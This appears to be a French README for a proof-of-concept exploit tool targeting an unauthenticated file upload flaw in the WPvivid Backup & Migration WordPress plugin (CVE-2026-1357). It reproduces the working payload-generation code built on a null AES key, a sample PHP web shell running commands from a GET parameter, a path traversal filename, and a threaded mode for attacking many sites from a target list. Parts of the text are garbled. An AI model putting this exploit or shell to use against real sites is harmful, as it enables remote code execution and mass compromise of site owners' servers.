
Migration, Backup, Staging <= 0.9.123 - Téléversement arbitraire de fichiers sans authentification
CVE-2026-1357.py)Migration, sauvegarde, staging – WPvivid Backup & Migration ≤ 0.9.123
Vulnérabilité : Téléversement arbitraire de fichier sans authentification → Exécution de code à distance
CVE : CVE-2026-1357 – CVSS 9.8 (Critique)
GitHub: https://github.com/Nxploited
Telegram: @KNxploited
CVE-2026-1357.py est un outil d'exploitation de type preuve de concept pour la vulnérabilité WPvivid. Il se concentre sur la gestion défaillante de session AES qui permet à un attaquant de :
name).wpvivid_action=send_to_site.Le script ne tente pas de deviner ou d'abuser directement des clés privées. Il simule plutôt le flux défaillant de WPvivid dans lequel un échec de openssl_private_decrypt() conduit le chiffrement AES de phpseclib à être initialisé avec une clé nulle.
Le cœur de l'exploit se trouve dans gen_wpvivid_payload() :
Il construit une structure JSON :
{
"name": "<file_name>",
"offset": 0,
"data": "<base64(file_bytes)>",
"file_size": <len(file_bytes)>,
"md5": "<md5(file_bytes)>"
}
Il sérialise ce JSON (forme compacte, sans espaces).
Il chiffre le JSON en utilisant :
AES-128-CBCkey = b"\x00" * 16iv = b"\x00" * 16Il ajoute ensuite au début :
"000" (un espace réservé statique pour le champ de longueur)."{len(cipher):016X}".Le blob chiffré final est :
"000" + <16-byte cipher length hex> + <raw AES-CBC ciphertext>
Ce blob est encodé en base64 et renvoyé comme valeur finale wpvivid_content.
Fonction :
def gen_wpvivid_payload(file_name: str, file_bytes: bytes) -> str:
file_md5 = hashlib.md5(file_bytes).hexdigest()
json_obj = {
"name": file_name,
"offset": 0,
"data": base64.b64encode(file_bytes).decode(),
"file_size": len(file_bytes),
"md5": file_md5,
}
json_str = json.dumps(json_obj, separators=(",", ":")).encode()
cipher = AES.new(NULL_KEY, AES.MODE_CBC, NULL_IV)
encrypted = cipher.encrypt(pad(json_str, AES.block_size))
key_len_field = b"000"
cipherlen_field = f"{len(encrypted):016X}".encode()
blob = key_len_field + cipherlen_field + encrypted
return base64.b64encode(blob).decode()
Cela correspond aux attentes de déchiffrement de WPvivid dans le chemin de code vulnérable après l'échec du déchiffrement RSA.
Le script propose deux modes principaux plus une capacité de test en masse :
mood1 – Générateur de charge utile
wpvivid_content valide en utilisant l'astuce de la clé nulle.mood2 – Testeur sur cible unique
Mode masse (à partir de mood1)
python3 CVE-2026-1357.py
Vous verrez une interface basée sur Rich avec une bannière et une sélection de mode :
mood1 – Générateur de charge utilemood2 – Testeur sur cible uniquewpvivid_content) qui encode :
Sélection du mode
Lorsque vous y êtes invité :
Choose mode (mood1/mood2) [mood1]:
Appuyez sur Entrée (par défaut mood1) ou saisissez mood1.
Nom de fichier / chemin cible
Il vous est demandé :
Target file name (e.g., Nx_.php or ../../public/Nx_.php):
Exemples :
Pour déposer un fichier dans le répertoire de sauvegarde WPvivid :
Nx_.php
Pour abuser d'une traversée de répertoire (si la cible l'autorise) :
../../public_html/Nx_.php
La valeur est placée dans le champ name de la charge utile JSON.
Mode de saisie du contenu
Le script affiche trois façons de définir le contenu du fichier :
EOF).shell.php).L'invite suivante s'affiche :
Mode [1/2/3] [1]:
Mode 1 – Ligne unique
Single line content:
Exemple de saisie :
<?php phpinfo();
Mode 2 – Multiligne
Enter file content, line by line. Type 'EOF' on its own line when done.
Vous pouvez coller ou saisir un script PHP multiligne, puis terminer par EOF sur sa propre ligne :
<?php
echo "Nxploited shell";
system($_GET['cmd'] ?? 'id');
?>
EOF
Mode 3 – Fichier local
Local file path (e.g., shell.php):
Le script lit l'intégralité du fichier dans file_bytes.
Génération de la charge utile
Une fois le contenu capturé, le script :
Vous obtenez une sortie comme :
Payload generated.
Use the value after '=' as wpvivid_content.
wpvivid_content=BASE64_BLOB_HERE
Et un fichier wpvivid_payload.txt est écrit :
file_name=Nx_.php
wpvivid_content=BASE64_BLOB_HERE
Après avoir généré la charge utile, le script demande :
Auto-send this payload to targets list (mass mode)? (y/N):
Si vous répondez y, il lance le mode masse avec la charge utile et le nom de fichier que vous venez de créer.
Fichier de cibles
Exemple d'invite :
Targets list file (one URL per line):
Format attendu du fichier (par exemple targets.txt) :
https://site1.com
site2.com
http://site3.net
Le script normalisera automatiquement les URL de base (en ajoutant le schéma si nécessaire).
Nombre de threads
Threads (concurrent sites) [5]:
Contrôle le nombre de sites traités en parallèle.
Logique par cible
Pour chaque cible :
Normaliser l'URL → base_url.
Appeler :
send_wpvivid_payload(base_url, payload)
qui :